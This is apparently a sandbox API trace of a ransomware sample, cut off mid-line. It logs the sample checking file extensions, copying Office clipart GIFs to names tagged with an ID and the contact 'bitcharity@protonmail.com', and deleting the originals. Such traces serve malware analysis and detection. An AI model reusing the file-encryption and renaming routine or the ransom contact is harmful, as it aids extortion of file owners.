[0148.835] lstrlenW (lpString=".xlsx") returned 5 [0148.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.835] lstrlenW (lpString=".ppt") returned 4 [0148.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.836] lstrlenW (lpString=".zip") returned 4 [0148.836] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.836] lstrlenW (lpString=".rar") returned 4 [0148.836] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.836] lstrlenW (lpString=".bz2") returned 4 [0148.836] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.836] lstrlenW (lpString=".7z") returned 3 [0148.836] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.981] lstrlenW (lpString=".dbf") returned 4 [0148.981] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.981] lstrlenW (lpString=".1cd") returned 4 [0148.981] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.981] lstrlenW (lpString=".jpg") returned 4 [0148.981] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.981] lstrlenW (lpString=".doc") returned 4 [0148.981] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.981] lstrlenW (lpString=".docx") returned 5 [0148.981] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.981] lstrlenW (lpString=".pdf") returned 4 [0148.981] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.981] lstrlenW (lpString=".xls") returned 4 [0148.981] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.981] lstrlenW (lpString=".xlsx") returned 5 [0148.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.981] lstrlenW (lpString=".ppt") returned 4 [0148.981] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.982] lstrlenW (lpString=".zip") returned 4 [0148.982] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.982] lstrlenW (lpString=".rar") returned 4 [0148.982] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.982] lstrlenW (lpString=".bz2") returned 4 [0148.982] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.982] lstrlenW (lpString=".7z") returned 3 [0148.982] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.982] lstrlenW (lpString=".dbf") returned 4 [0148.982] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.982] lstrlenW (lpString=".1cd") returned 4 [0148.982] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.982] lstrlenW (lpString=".jpg") returned 4 [0148.982] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.982] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.982] lstrlenW (lpString="AG00126_.GIF") returned 12 [0148.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0148.983] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3140) returned 1 [0148.983] CloseHandle (hObject=0x10d8) returned 1 [0148.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0148.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0148.983] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.983] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0149.160] GetLastError () returned 0x0 [0149.160] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xc44, lpOverlapped=0x0) returned 1 [0149.263] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xc50, lpOverlapped=0x0) returned 1 [0149.264] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.264] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.264] SetEndOfFile (hFile=0x10a8) returned 1 [0149.264] CloseHandle (hObject=0x10a8) returned 1 [0149.269] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.269] SetEndOfFile (hFile=0x10d8) returned 1 [0149.270] CloseHandle (hObject=0x10d8) returned 1 [0149.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0149.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.271] lstrlenW (lpString=".doc") returned 4 [0149.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.271] lstrlenW (lpString=".docx") returned 5 [0149.271] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.271] lstrlenW (lpString=".pdf") returned 4 [0149.271] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.271] lstrlenW (lpString=".xls") returned 4 [0149.271] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.271] lstrlenW (lpString=".xlsx") returned 5 [0149.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.271] lstrlenW (lpString=".ppt") returned 4 [0149.271] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.271] lstrlenW (lpString=".zip") returned 4 [0149.271] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.271] lstrlenW (lpString=".rar") returned 4 [0149.271] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.271] lstrlenW (lpString=".bz2") returned 4 [0149.271] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.271] lstrlenW (lpString=".7z") returned 3 [0149.271] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.272] lstrlenW (lpString=".dbf") returned 4 [0149.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.272] lstrlenW (lpString=".1cd") returned 4 [0149.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.272] lstrlenW (lpString=".jpg") returned 4 [0149.272] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.272] lstrlenW (lpString=".doc") returned 4 [0149.272] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.272] lstrlenW (lpString=".docx") returned 5 [0149.272] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.272] lstrlenW (lpString=".pdf") returned 4 [0149.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.272] lstrlenW (lpString=".xls") returned 4 [0149.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.272] lstrlenW (lpString=".xlsx") returned 5 [0149.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.272] lstrlenW (lpString=".ppt") returned 4 [0149.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.272] lstrlenW (lpString=".zip") returned 4 [0149.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.272] lstrlenW (lpString=".rar") returned 4 [0149.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.272] lstrlenW (lpString=".bz2") returned 4 [0149.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.272] lstrlenW (lpString=".7z") returned 3 [0149.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.273] lstrlenW (lpString=".dbf") returned 4 [0149.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.273] lstrlenW (lpString=".1cd") returned 4 [0149.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0149.273] lstrlenW (lpString=".jpg") returned 4 [0149.273] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.273] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0149.273] lstrlenW (lpString="AG00139_.GIF") returned 12 [0149.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0149.274] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=10607) returned 1 [0149.274] CloseHandle (hObject=0x10d8) returned 1 [0149.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0149.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0149.274] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.274] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0149.275] GetLastError () returned 0x0 [0149.275] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x296f, lpOverlapped=0x0) returned 1 [0149.419] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x2970, lpOverlapped=0x0) returned 1 [0149.420] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.420] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.420] SetEndOfFile (hFile=0x10a8) returned 1 [0149.425] CloseHandle (hObject=0x10a8) returned 1 [0149.430] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.431] SetEndOfFile (hFile=0x10d8) returned 1 [0149.442] CloseHandle (hObject=0x10d8) returned 1 [0149.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0149.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.444] lstrlenW (lpString=".doc") returned 4 [0149.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.444] lstrlenW (lpString=".docx") returned 5 [0149.444] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.444] lstrlenW (lpString=".pdf") returned 4 [0149.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.444] lstrlenW (lpString=".xls") returned 4 [0149.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.444] lstrlenW (lpString=".xlsx") returned 5 [0149.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.445] lstrlenW (lpString=".ppt") returned 4 [0149.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.445] lstrlenW (lpString=".zip") returned 4 [0149.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.445] lstrlenW (lpString=".rar") returned 4 [0149.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.445] lstrlenW (lpString=".bz2") returned 4 [0149.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.445] lstrlenW (lpString=".7z") returned 3 [0149.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.445] lstrlenW (lpString=".dbf") returned 4 [0149.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.445] lstrlenW (lpString=".1cd") returned 4 [0149.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.445] lstrlenW (lpString=".jpg") returned 4 [0149.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.446] lstrlenW (lpString=".doc") returned 4 [0149.446] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.446] lstrlenW (lpString=".docx") returned 5 [0149.446] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.446] lstrlenW (lpString=".pdf") returned 4 [0149.446] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.446] lstrlenW (lpString=".xls") returned 4 [0149.446] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.446] lstrlenW (lpString=".xlsx") returned 5 [0149.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.446] lstrlenW (lpString=".ppt") returned 4 [0149.446] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.446] lstrlenW (lpString=".zip") returned 4 [0149.446] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.446] lstrlenW (lpString=".rar") returned 4 [0149.446] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.446] lstrlenW (lpString=".bz2") returned 4 [0149.446] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.446] lstrlenW (lpString=".7z") returned 3 [0149.446] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.446] lstrlenW (lpString=".dbf") returned 4 [0149.446] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.446] lstrlenW (lpString=".1cd") returned 4 [0149.447] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0149.447] lstrlenW (lpString=".jpg") returned 4 [0149.447] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.447] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0149.447] lstrlenW (lpString="AG00160_.GIF") returned 12 [0149.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0149.447] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=1146) returned 1 [0149.447] CloseHandle (hObject=0x10c0) returned 1 [0149.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0149.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0149.448] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.448] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0149.448] GetLastError () returned 0x0 [0149.448] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x47a, lpOverlapped=0x0) returned 1 [0150.047] WriteFile (in: hFile=0x108c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x480, lpOverlapped=0x0) returned 1 [0150.048] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.048] WriteFile (in: hFile=0x108c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.048] SetEndOfFile (hFile=0x108c) returned 1 [0150.052] CloseHandle (hObject=0x108c) returned 1 [0150.054] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.054] SetEndOfFile (hFile=0x10c0) returned 1 [0150.058] CloseHandle (hObject=0x10c0) returned 1 [0150.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0150.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.059] lstrlenW (lpString=".doc") returned 4 [0150.059] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.059] lstrlenW (lpString=".docx") returned 5 [0150.059] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.059] lstrlenW (lpString=".pdf") returned 4 [0150.059] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.059] lstrlenW (lpString=".xls") returned 4 [0150.059] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.059] lstrlenW (lpString=".xlsx") returned 5 [0150.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.059] lstrlenW (lpString=".ppt") returned 4 [0150.059] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.059] lstrlenW (lpString="C:\\Program Files\\Microsoft 